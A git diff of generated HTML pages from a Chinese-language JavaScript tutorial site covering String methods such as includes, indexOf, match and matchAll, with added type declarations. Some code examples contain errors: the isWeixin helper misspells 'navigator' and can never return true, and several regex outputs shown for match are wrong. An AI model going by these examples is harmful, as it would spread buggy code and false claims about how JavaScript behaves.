                                                                                                                            fromCharCode(...codes: number[]): string;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            num一系列 UTF-16 代码单元的数字。范围介于 0 到 65535(0xFFFF)之间。大于 0xFFFF 的数字将被截断。不进行有效性检查number

                                                                                                                            代码示例

                                                                                                                            String.fromCharCode(65, 66, 67);
                                                                                                                            // ABC
                                                                                                                            +
                                                                                                                            String.fromCharCode(0x2014);
                                                                                                                            // -

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/string/from-code-point/index.html b/standard-built-in-objects/text-processing/string/from-code-point/index.html index f29f7cfd5..c77cba88a 100644 --- a/standard-built-in-objects/text-processing/string/from-code-point/index.html +++ b/standard-built-in-objects/text-processing/string/from-code-point/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.fromCodePoint - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                              String.fromCodePoint

                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.fromCodePoint

                                                                                                                              String.fromCodePoint() 静态方法返回使用指定的代码点序列创建的字符串。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              String.fromCodePoint(num1[, ...[, numN]])

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              fromCodePoint(...codePoints: number[]): string;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              num1, ..., numNUnicode 编码位置number

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/includes/index.html b/standard-built-in-objects/text-processing/string/includes/index.html index bb01d2b2b..158996fb4 100644 --- a/standard-built-in-objects/text-processing/string/includes/index.html +++ b/standard-built-in-objects/text-processing/string/includes/index.html @@ -7,40 +7,43 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.includes - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.includes()

                                                                                                                              includes() 方法用于判断一个字符串是否包含在另一个字符串中,根据情况返回 truefalse

                                                                                                                              语法

                                                                                                                              str.includes( searchString [, startIndex] )
                                                                                                                              参数说明类型
                                                                                                                              searchString要在字符串中搜索的字符串string
                                                                                                                              startIndex从当前字符串指定索引位置开发搜索子字符串,默认为 0,包含该索引number

                                                                                                                              这个方法可以帮你判断一个字符串是否包含另外一个字符串。

                                                                                                                              这个方法搜索匹配的字符串是区分大小写的。

                                                                                                                              示例

                                                                                                                              var str = 'To be, or not to be, that is the question.';
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.includes()

                                                                                                                              includes() 方法用于判断一个字符串是否包含在另一个字符串中,根据情况返回 truefalse

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.includes( searchString [, startIndex] )

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              includes(searchString: string, position?: number): boolean;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              searchString要在字符串中搜索的字符串string
                                                                                                                              startIndex从当前字符串指定索引位置开发搜索子字符串,默认为 0,包含该索引number

                                                                                                                              这个方法可以帮你判断一个字符串是否包含另外一个字符串。

                                                                                                                              这个方法搜索匹配的字符串是区分大小写的。

                                                                                                                              代码示例

                                                                                                                              var str = 'To be, or not to be, that is the question.';
                                                                                                                              console.log(str.includes('To be'));
                                                                                                                              // true
                                                                                                                              console.log(str.includes('question'));
                                                                                                                              // true
                                                                                                                              console.log(str.includes('nonexistent'));
                                                                                                                              // false
                                                                                                                              console.log(str.includes('To be', 1));
                                                                                                                              // false
                                                                                                                              -
                                                                                                                              console.log(str.includes('TO BE'));
                                                                                                                              // false

                                                                                                                              Polyfill

                                                                                                                              if (!String.prototype.includes) {
                                                                                                                              String.prototype.includes = function(searchString, startIndex) {
                                                                                                                              'use strict';
                                                                                                                              +
                                                                                                                              console.log(str.includes('TO BE'));
                                                                                                                              // false

                                                                                                                              兼容性代码

                                                                                                                              if (!String.prototype.includes) {
                                                                                                                              String.prototype.includes = function (searchString, startIndex) {
                                                                                                                              'use strict';
                                                                                                                              if (typeof startIndex !== 'number') {
                                                                                                                              startIndex = 0;
                                                                                                                              }
                                                                                                                              -
                                                                                                                              if (startIndex + searchString.length > this.length) {
                                                                                                                              return false;
                                                                                                                              } else {
                                                                                                                              return this.indexOf(searchString, startIndex) !== -1;
                                                                                                                              }
                                                                                                                              };
                                                                                                                              }
                                                                                                                              +
                                                                                                                              if (startIndex + searchString.length > this.length) {
                                                                                                                              return false;
                                                                                                                              } else {
                                                                                                                              return this.indexOf(searchString, startIndex) !== -1;
                                                                                                                              }
                                                                                                                              };
                                                                                                                              }

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/index-of/index.html b/standard-built-in-objects/text-processing/string/index-of/index.html index e5b9a5eb0..f4034660e 100644 --- a/standard-built-in-objects/text-processing/string/index-of/index.html +++ b/standard-built-in-objects/text-processing/string/index-of/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.indexOf - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.indexOf()

                                                                                                                              indexOf() 函数用于查找子字符串在当前字符串中第一次出现的位置。

                                                                                                                              语法

                                                                                                                              str.indexOf( searchValue[, startIndex])
                                                                                                                              参数说明类型
                                                                                                                              searchValue需要查找的子字符串。string
                                                                                                                              startIndex可选,在当前字符串中查找的起始索引,默认为 0。number

                                                                                                                              indexOf() 方法的返回值为 Number 类型,返回子字符串在当前字符串中第一次查找到的起始位置(索引)。

                                                                                                                              示例

                                                                                                                              字符串中的字符被从左向右索引。首字符的索引(index)为 0,字符串 stringName 的最后一个字符的索引是 stringName.length - 1

                                                                                                                              'Blue Whale'.indexOf('Blue');
                                                                                                                              // 0
                                                                                                                              'Blue Whale'.indexOf('Blute');
                                                                                                                              // -1
                                                                                                                              'Blue Whale'.indexOf('Whale', 0);
                                                                                                                              // 5
                                                                                                                              'Blue Whale'.indexOf('Whale', 5);
                                                                                                                              // 5
                                                                                                                              'Blue Whale'.indexOf('', 9);
                                                                                                                              // 9
                                                                                                                              'Blue Whale'.indexOf('', 10);
                                                                                                                              // 10
                                                                                                                              'Blue Whale'.indexOf('', 11);
                                                                                                                              // 10

                                                                                                                              区分大小写

                                                                                                                              下例定义了两个字符串变量。

                                                                                                                              两个变量包含相同的字符串,除了第二个字符串中的某些字符为大写。第一个 log 方法输出 19。但是由于 indexOf 方法 区分大小写,因此不会在 myCapString 中发现字符串 “cheddar",结果第二个 log 方法输出 -1。

                                                                                                                              var myString = 'brie, pepper jack, cheddar';
                                                                                                                              var myCapString = 'Brie, Pepper Jack, Cheddar';
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.indexOf()

                                                                                                                              indexOf() 函数用于查找子字符串在当前字符串中第一次出现的位置。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.indexOf( searchString [, position])

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              indexOf(searchString: string, position?: number): number;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              searchString需要查找的子字符串。string
                                                                                                                              position可选,在当前字符串中查找的起始索引,默认为 0。number

                                                                                                                              返回值:

                                                                                                                              返回值为 Number 类型,返回子字符串在当前字符串中第一次查找到的起始位置(索引)。

                                                                                                                              代码示例

                                                                                                                              字符串中的字符被从左向右索引。首字符的索引(index)为 0,字符串 stringName 的最后一个字符的索引是 stringName.length - 1

                                                                                                                              'Blue Whale'.indexOf('Blue');
                                                                                                                              // 0
                                                                                                                              'Blue Whale'.indexOf('Blute');
                                                                                                                              // -1
                                                                                                                              'Blue Whale'.indexOf('Whale', 0);
                                                                                                                              // 5
                                                                                                                              'Blue Whale'.indexOf('Whale', 5);
                                                                                                                              // 5
                                                                                                                              'Blue Whale'.indexOf('', 9);
                                                                                                                              // 9
                                                                                                                              'Blue Whale'.indexOf('', 10);
                                                                                                                              // 10
                                                                                                                              'Blue Whale'.indexOf('', 11);
                                                                                                                              // 10

                                                                                                                              区分大小写

                                                                                                                              下例定义了两个字符串变量。

                                                                                                                              两个变量包含相同的字符串,除了第二个字符串中的某些字符为大写。第一个 log 方法输出 19。但是由于 indexOf 方法 区分大小写,因此不会在 myCapString 中发现字符串 “cheddar",结果第二个 log 方法输出 -1。

                                                                                                                              var myString = 'brie, pepper jack, cheddar';
                                                                                                                              var myCapString = 'Brie, Pepper Jack, Cheddar';
                                                                                                                              console.log('myString.indexOf("cheddar") is ' + myString.indexOf('cheddar'));
                                                                                                                              // 19
                                                                                                                              console.log('myCapString.indexOf("cheddar") is ' + myCapString.indexOf('cheddar'));
                                                                                                                              // -1

                                                                                                                              统计字符串中字母数量

                                                                                                                              使用 indexOf 统计一个字符串中某个字母出现的次数

                                                                                                                              在下例中,设置了 count 来记录字母 e 在字符串 str 中出现的次数:

                                                                                                                              let str = 'To be, or not to be, that is the question.';
                                                                                                                              let count = 0;
                                                                                                                              let cur = str.indexOf('e');
                                                                                                                              // 当 cur 为 -1 时表示,字符串中已无检索子字符串
                                                                                                                              while (cur !== -1) {
                                                                                                                              count++;
                                                                                                                              cur = str.indexOf('e', cur + 1);
                                                                                                                              }
                                                                                                                              console.log(count); // displays 4

                                                                                                                              检测字符是否存在

                                                                                                                              当检测某个字符串是否存在于另一个字符串中时,可使用下面的方法:

                                                                                                                              'Blue Whale'.indexOf('Blue') !== -1;
                                                                                                                              // true
                                                                                                                              -
                                                                                                                              'Blue Whale'.indexOf('Bloe') !== -1;
                                                                                                                              // false
                                                                                                                              +
                                                                                                                              'Blue Whale'.indexOf('Bloe') !== -1;
                                                                                                                              // false

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/index.html b/standard-built-in-objects/text-processing/string/index.html index 4b616d468..05d4f9a8b 100644 --- a/standard-built-in-objects/text-processing/string/index.html +++ b/standard-built-in-objects/text-processing/string/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/last-index-of/index.html b/standard-built-in-objects/text-processing/string/last-index-of/index.html index c3c07b7f7..c71b54e07 100644 --- a/standard-built-in-objects/text-processing/string/last-index-of/index.html +++ b/standard-built-in-objects/text-processing/string/last-index-of/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.lastIndexOf - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.lastIndexOf()

                                                                                                                              lastIndexOf() 函数用于查找子字符串在当前字符串中最后一次出现的起始位置。

                                                                                                                              语法

                                                                                                                              str.lastIndexOf( searchValue [, startIndex])
                                                                                                                              参数说明类型
                                                                                                                              searchValue需要查找的子字符串。string
                                                                                                                              startIndex可选,在当前字符串中查找的起始索引,默认为 str.length - 1number

                                                                                                                              indexOf() 方法的返回值为 Number 类型,返回子字符串在当前字符串中第一次查找到的起始位置(索引)。

                                                                                                                              描述

                                                                                                                              lastIndexOf() 函数将从后向前(从右往左)搜索子字符串,并返回子字符串第一次出现的位置。(由于是从后向前搜索,第一次出现的位置就是该子字符串在当前字符串中最后一次出现的位置)。

                                                                                                                              如果提供了startIndex 参数,则从指定的索引从后向前搜索。如果省略了 startIndex 参数,则从字符串的末尾开始从后向前搜索。

                                                                                                                              如果 startIndex 为负,则将 startIndex视为零。如果它比最大字符位置索引还大,则将它视为可能的最大索引(即字符串的末尾:str.length - 1 )。

                                                                                                                              示例

                                                                                                                              代码示例

                                                                                                                              字符串中的字符被从左向右索引。首字符的索引(index)是 0,最后一个字符的索引是 stringName.length - 1

                                                                                                                              'hello'.lastIndexOf('l');
                                                                                                                              // 3
                                                                                                                              'hello'.lastIndexOf('l', 2);
                                                                                                                              // 1
                                                                                                                              'hello'.lastIndexOf('k', 0);
                                                                                                                              // -1
                                                                                                                              'hello'.lastIndexOf('x');
                                                                                                                              // -1

                                                                                                                              区分大小写

                                                                                                                              lastIndexOf 方法区分大小写。例如,下面的表达式返回 -1:

                                                                                                                              'Hello world!'.lastIndexOf('hello');
                                                                                                                              // -1
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.lastIndexOf()

                                                                                                                              lastIndexOf() 函数用于查找子字符串在当前字符串中最后一次出现的起始位置。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.lastIndexOf( searchString [, position])

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              lastIndexOf(searchString: string, position?: number): number;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              searchString需要查找的子字符串。string
                                                                                                                              position可选,在当前字符串中查找的起始索引,默认为 str.length - 1number

                                                                                                                              返回值:

                                                                                                                              返回值为 Number 类型,返回子字符串在当前字符串中第一次查找到的起始位置(索引)。

                                                                                                                              方法说明

                                                                                                                              lastIndexOf() 函数将从后向前(从右往左)搜索子字符串,并返回子字符串第一次出现的位置。(由于是从后向前搜索,第一次出现的位置就是该子字符串在当前字符串中最后一次出现的位置)。

                                                                                                                              如果提供了position 参数,则从指定的索引从后向前搜索。如果省略了 position 参数,则从字符串的末尾开始从后向前搜索。

                                                                                                                              如果 position 为负,则将 position视为零。如果它比最大字符位置索引还大,则将它视为可能的最大索引(即字符串的末尾:str.length - 1 )。

                                                                                                                              代码示例

                                                                                                                              基本用法

                                                                                                                              字符串中的字符被从左向右索引。首字符的索引(index)是 0,最后一个字符的索引是 stringName.length - 1

                                                                                                                              'hello'.lastIndexOf('l');
                                                                                                                              // 3
                                                                                                                              'hello'.lastIndexOf('l', 2);
                                                                                                                              // 1
                                                                                                                              'hello'.lastIndexOf('k', 0);
                                                                                                                              // -1
                                                                                                                              'hello'.lastIndexOf('x');
                                                                                                                              // -1

                                                                                                                              区分大小写

                                                                                                                              lastIndexOf 方法区分大小写。例如,下面的表达式返回 -1:

                                                                                                                              'Hello world!'.lastIndexOf('hello');
                                                                                                                              // -1

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/locale-compare/index.html b/standard-built-in-objects/text-processing/string/locale-compare/index.html index 1f61c3cd5..e56e99d3b 100644 --- a/standard-built-in-objects/text-processing/string/locale-compare/index.html +++ b/standard-built-in-objects/text-processing/string/locale-compare/index.html @@ -7,33 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.localeCompare - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.localCompare()

                                                                                                                              localCompare() 方法返回一个数字来指示一个参考字符串是否在排序顺序前面或之后或与给定字符串相同。

                                                                                                                              语法

                                                                                                                              str.localCompare( compareString [, locales [, options ]])
                                                                                                                              参数说明类型
                                                                                                                              compareString用于比较的字符串string
                                                                                                                              locales可选,用于表示一种或多种语言或区域的符合 BCP 47 标准的字符串或字符串数组。string
                                                                                                                              optionsobject
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.localCompare()

                                                                                                                              localCompare() 方法返回一个数字来指示一个参考字符串是否在排序顺序前面或之后或与给定字符串相同。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.localCompare( compareString [, locales [, options ]])

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              localeCompare(that: string): number;
                                                                                                                              +
                                                                                                                              localeCompare(that: string, locales?: string | string[], options?: Intl.CollatorOptions): number;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              compareString用于比较的字符串string
                                                                                                                              locales可选,用于表示一种或多种语言或区域的符合 BCP 47 标准的字符串或字符串数组。string
                                                                                                                              optionsobject

                                                                                                                              代码示例

                                                                                                                              检查浏览器对扩展参数的支持

                                                                                                                              localesoptions 参数还没有被所有浏览器所支持。检查是否被支持,使用 i 参数判断是否有异常 RangeError 抛出:

                                                                                                                              function localeCompareSupportsLocales() {
                                                                                                                              try {
                                                                                                                              'foo'.localeCompare('bar', 'i');
                                                                                                                              } catch (e) {
                                                                                                                              return e.name === 'RangeError';
                                                                                                                              }
                                                                                                                              +
                                                                                                                              return false;
                                                                                                                              }

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/match-all/index.html b/standard-built-in-objects/text-processing/string/match-all/index.html index 90843511a..cd8145b0a 100644 --- a/standard-built-in-objects/text-processing/string/match-all/index.html +++ b/standard-built-in-objects/text-processing/string/match-all/index.html @@ -7,39 +7,44 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.matchAll - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.matchAll()

                                                                                                                              matchAll() 方法返回一个包含所有匹配正则表达式的结果及分组捕获组的迭代器。

                                                                                                                              语法

                                                                                                                              str.match(regexp);
                                                                                                                              参数说明类型
                                                                                                                              regexp正则表达式,如果传参非正则会通过构造函数转换RegExp

                                                                                                                              示例

                                                                                                                              获取字符串所有匹配项

                                                                                                                              使用 matchAll 会得到一个迭代器的返回值,配合 for...of、解构赋值或者 Array.from 可以更方便实现功能:

                                                                                                                              const str = 'table football foosball';
                                                                                                                              const regexp = RegExp('foo[a-z]*', 'g');
                                                                                                                              const matches = str.matchAll(regexp);
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.matchAll()

                                                                                                                              ⭐️ ES2019(ES10)新特性

                                                                                                                              matchAll() 方法返回一个包含所有匹配正则表达式的结果及分组捕获组的迭代器。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.matchAll(regexp);

                                                                                                                              类型声明:

                                                                                                                              interface Iterable<T> {
                                                                                                                              [Symbol.iterator](): Iterator<T>;
                                                                                                                              }
                                                                                                                              +
                                                                                                                              interface IterableIterator<T> extends Iterator<T> {
                                                                                                                              [Symbol.iterator](): IterableIterator<T>;
                                                                                                                              }
                                                                                                                              +
                                                                                                                              interface String {
                                                                                                                              matchAll(regexp: RegExp): IterableIterator<RegExpMatchArray>;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              regexp正则表达式,如果传参非正则会通过构造函数转换RegExp

                                                                                                                              代码示例

                                                                                                                              获取字符串所有匹配项

                                                                                                                              使用 matchAll 会得到一个迭代器的返回值,配合 for...of、解构赋值或者 Array.from 可以更方便实现功能:

                                                                                                                              const str = 'table football foosball';
                                                                                                                              const regexp = RegExp('foo[a-z]*', 'g');
                                                                                                                              const matches = str.matchAll(regexp);
                                                                                                                              for (const match of matches) {
                                                                                                                              console.log(match[0], match.index, match.index + match[0].length);
                                                                                                                              }
                                                                                                                              -
                                                                                                                              const arr = Array.from(str.matchAll(regexp), m => m[0]);
                                                                                                                              // ['football', 'foosball']

                                                                                                                              捕获组的最佳途径

                                                                                                                              matchAll 的另一个亮点是更好地获取捕获组,因为当使用 match/g 标志方式获取匹配信息时,捕获组会被忽略:

                                                                                                                              const regexp = /t(e)(st(\d?))/g;
                                                                                                                              +
                                                                                                                              const arr = Array.from(str.matchAll(regexp), (m) => m[0]);
                                                                                                                              // ['football', 'foosball']

                                                                                                                              捕获组的最佳途径

                                                                                                                              matchAll 的另一个亮点是更好地获取捕获组,因为当使用 match/g 标志方式获取匹配信息时,捕获组会被忽略:

                                                                                                                              const regexp = /t(e)(st(\d?))/g;
                                                                                                                              const str = 'test1test2';
                                                                                                                              const arr = str.match(regexp);
                                                                                                                              console.log(arr);
                                                                                                                              // ['test1', 'test2']

                                                                                                                              使用 matchAll 可以通过如下方式获取分组捕获:

                                                                                                                              const arr = [...str.matchAll(regexp)];
                                                                                                                              -
                                                                                                                              console.log(arr[0]);
                                                                                                                              // ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]
                                                                                                                              console.log(arr[1]);
                                                                                                                              // ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]
                                                                                                                              +
                                                                                                                              console.log(arr[0]);
                                                                                                                              // ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]
                                                                                                                              console.log(arr[1]);
                                                                                                                              // ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/match/index.html b/standard-built-in-objects/text-processing/string/match/index.html index 0dbf342a4..1cc7cb338 100644 --- a/standard-built-in-objects/text-processing/string/match/index.html +++ b/standard-built-in-objects/text-processing/string/match/index.html @@ -7,40 +7,43 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.match - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.match()

                                                                                                                              match()函数用于使用指定的正则表达式模式在当前字符串中进行匹配查找,并返回数组形式的查找结果。

                                                                                                                              语法

                                                                                                                              str.match(regexp);
                                                                                                                              参数说明类型
                                                                                                                              regexp包含正则表达式模式的 RegExp 对象的实例。也可以是包含正则表达式模式的变量名或字符串。RegExo

                                                                                                                              💡 如果参数 regExp 不是正则表达式对象(RegExp),而是字符串类型,则 match() 先将该字符串传递给 RegExp 的构造函数,将其转换为一个 RegExp 对象。

                                                                                                                              match()方法的返回值为 Array 类型,其返回数组的成员取决于指定的正则表达式模式是否设有全局标志 g

                                                                                                                              • 如果参数 regExp 没有全局标志 g,则 match() 函数只查找第一个匹配,并返回包含查找结果的数组,该数组对象包含如下成员:
                                                                                                                                • 索引 0:存放第一个匹配的子字符串。
                                                                                                                                • 属性 index:匹配文本在字符串中的起始索引位置。
                                                                                                                                • 属性 input:整个字符串对象(str)。

                                                                                                                              在 IE 6 ~ IE 8 中,该数组还具有额外的 lastIndex 属性,用于存储匹配文本最后一个字符的下一个位置。

                                                                                                                              • 如果参数 regExp 设有全局标志 g,则 match() 函数会查找所有的匹配,返回的数组不再有 indexinput 属性,其中的数组元素就是所有匹配到的子字符串,形如:
                                                                                                                                • 索引 0:存放第一个匹配的子字符串(如果存在的话)。
                                                                                                                                • 索引 1:存放第二个匹配的子字符串(如果存在的话)。
                                                                                                                                • ……
                                                                                                                                • 索引 N-1:存放第 N 个匹配的字符串(如果存在的话)。
                                                                                                                              • match() 函数如果没有查找到任何匹配,则返回 null

                                                                                                                              说明

                                                                                                                              • 如果你需要知道一个字符串是否匹配一个正则表达式 RegExp ,可使用 String.prototype.search()
                                                                                                                              • 如果你只是需要第一个匹配结果,你可能想要使用 RegExp.prototype.exec()
                                                                                                                              • 如果你想要获得捕获组,并且设置了全局标志,你需要用 RegExp.prototype.exec()

                                                                                                                              示例

                                                                                                                              在下例中,使用 match 查找 "Hello world!" 紧跟着 1 个或多个数值字符,再紧跟着一个小数点和数值字符 0 次或多次。正则表达式包含 i 标志,因此大小写会被忽略。

                                                                                                                              var str = 'Hello world!';
                                                                                                                              +

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.match()

                                                                                                                              match()函数用于使用指定的正则表达式模式在当前字符串中进行匹配查找,并返回数组形式的查找结果。

                                                                                                                              语法

                                                                                                                              语法:

                                                                                                                              str.match(regexp);

                                                                                                                              类型声明:

                                                                                                                              interface String {
                                                                                                                              match(regexp: string | RegExp): RegExpMatchArray | null;
                                                                                                                              }

                                                                                                                              参数说明:

                                                                                                                              参数说明类型
                                                                                                                              regexp包含正则表达式模式的 RegExp 对象的实例。也可以是包含正则表达式模式的变量名或字符串。RegExo

                                                                                                                              💡 如果参数 regExp 不是正则表达式对象(RegExp),而是字符串类型,则 match() 先将该字符串传递给 RegExp 的构造函数,将其转换为一个 RegExp 对象。

                                                                                                                              match()方法的返回值为 Array 类型,其返回数组的成员取决于指定的正则表达式模式是否设有全局标志 g

                                                                                                                              • 如果参数 regExp 没有全局标志 g,则 match() 函数只查找第一个匹配,并返回包含查找结果的数组,该数组对象包含如下成员:
                                                                                                                                • 索引 0:存放第一个匹配的子字符串。
                                                                                                                                • 属性 index:匹配文本在字符串中的起始索引位置。
                                                                                                                                • 属性 input:整个字符串对象(str)。

                                                                                                                              在 IE 6 ~ IE 8 中,该数组还具有额外的 lastIndex 属性,用于存储匹配文本最后一个字符的下一个位置。

                                                                                                                              • 如果参数 regExp 设有全局标志 g,则 match() 函数会查找所有的匹配,返回的数组不再有 indexinput 属性,其中的数组元素就是所有匹配到的子字符串,形如:
                                                                                                                                • 索引 0:存放第一个匹配的子字符串(如果存在的话)。
                                                                                                                                • 索引 1:存放第二个匹配的子字符串(如果存在的话)。
                                                                                                                                • ……
                                                                                                                                • 索引 N-1:存放第 N 个匹配的字符串(如果存在的话)。
                                                                                                                              • match() 函数如果没有查找到任何匹配,则返回 null

                                                                                                                              方法说明

                                                                                                                              • 如果你需要知道一个字符串是否匹配一个正则表达式 RegExp ,可使用 String.prototype.search()
                                                                                                                              • 如果你只是需要第一个匹配结果,你可能想要使用 RegExp.prototype.exec()
                                                                                                                              • 如果你想要获得捕获组,并且设置了全局标志,你需要用 RegExp.prototype.exec()

                                                                                                                              代码示例

                                                                                                                              在下例中,使用 match 查找 "Hello world!" 紧跟着 1 个或多个数值字符,再紧跟着一个小数点和数值字符 0 次或多次。正则表达式包含 i 标志,因此大小写会被忽略。

                                                                                                                              var str = 'Hello world!';
                                                                                                                              str.match();
                                                                                                                              // ["", index: 0, input: "Hello world!", groups: undefined]
                                                                                                                              str.match(/\b\w/);
                                                                                                                              // ["H", "w"]
                                                                                                                              str.match(/\w(?=r)/g);
                                                                                                                              // null
                                                                                                                              str.match(/\w[^\w]/g);
                                                                                                                              // ["o", "d!"]

                                                                                                                              全局模式和不区分大小写模式

                                                                                                                              下例展示了 match() 使用 globalignore case 标志。A-Ea-e 的所有字母将会作为一个数组的元素返回。

                                                                                                                              var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
                                                                                                                              var regexp = /[A-E]/gi;
                                                                                                                              var matchArray = str.match(regexp);
                                                                                                                              console.log(matchArray);
                                                                                                                              // ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']

                                                                                                                              不传参数

                                                                                                                              var str = 'Nothing will come of nothing.';
                                                                                                                              -
                                                                                                                              str.match();
                                                                                                                              // [""]

                                                                                                                              判断是否是微信浏览器

                                                                                                                              const isWeixin = function() {
                                                                                                                              const ua = naviagtor.userAgent.toLowerCase();
                                                                                                                              -
                                                                                                                              if (ua.match(/MicroMessenger/i) === 'micromessenger') {
                                                                                                                              return true
                                                                                                                              } else {
                                                                                                                              return false;
                                                                                                                              }
                                                                                                                              }
                                                                                                                              +
                                                                                                                              str.match();
                                                                                                                              // [""]

                                                                                                                              判断是否是微信浏览器

                                                                                                                              const isWeixin = function () {
                                                                                                                              const ua = naviagtor.userAgent.toLowerCase();
                                                                                                                              +
                                                                                                                              if (ua.match(/MicroMessenger/i) === 'micromessenger') {
                                                                                                                              return true;
                                                                                                                              } else {
                                                                                                                              return false;
                                                                                                                              }
                                                                                                                              };

                                                                                                                              参考资料

                                                                                                                              - + diff --git a/standard-built-in-objects/text-processing/string/normalize/index.html b/standard-built-in-objects/text-processing/string/normalize/index.html index 302f0638d..1f9943760 100644 --- a/standard-built-in-objects/text-processing/string/normalize/index.html +++ b/standard-built-in-objects/text-processing/string/normalize/index.html @@ -7,28 +7,32 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.normalize - JavaScript Guidebook -

                                                                                                                              JavaScript Guidebook

                                                                                                                              JavaScript 完全知识体系

                                                                                                                              String.prototype.normalize()

                                                                                                                              normalize() 方法会按照指定的一种 Unicode 正规形式将当前字符串正规化。(如果该值不是字符串,则首先将其转换为一个字符串)。

                                                                                                                              语法

                                                                                                                              str.normalize([form]);
                                                                                                                              参数说明类型
                                                                                                                              form可选,四种 Unicode 正规形式(Unicode Normalization Form),默认值为 NFCstring

                                                                                                                              可选值:

                                                                                                                              • NFC:Canonical Decomposition, followed by Canonical Composition
                                                                                                                              • NFD:Canonical Decomposition
                                                                                                                              • NFKC:Compatibility Decomposition, followed by Canonical Composition
                                                                                                                              • NFKD:Compatibility Decomposition

                                                                                                                              返回给定字符串的 Unicode 规范化形式的字符串。

                                                                                                                              如果给 form 参数传入了上述四个字符串意外以外的参数,则会抛出 RangeError 异常。

                                                                                                                              示例

                                                                                                                              // U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
                                                                                                                              // U+0323: COMBINING DOT BELOW
